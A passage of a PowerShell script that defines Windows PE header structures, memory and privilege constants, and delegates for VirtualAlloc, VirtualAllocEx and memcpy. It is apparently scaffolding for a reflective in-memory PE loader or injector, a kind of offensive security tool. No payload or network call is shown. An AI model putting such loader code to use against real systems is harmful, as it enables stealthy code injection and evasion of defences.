[UInt16] 0x8664) | Out-Null $MachineType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null $MagicType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null $SubSystemType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null $DllCharacteristicsType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) $e_resField.SetCustomAttribute($AttribBuilder) $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) $e_res2Field.SetCustomAttribute($AttribBuilder) $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) $nameField.SetCustomAttribute($AttribBuilder) $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null $LUID = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES return $Win32Types } Function Get-Win32Constants { $Win32Constants = New-Object System.Object $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 return $Win32Constants } Function Get-Win32Functions { $Win32Functions = New-Object System.Object $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) $Win32Functions | Add-Member -MemberType 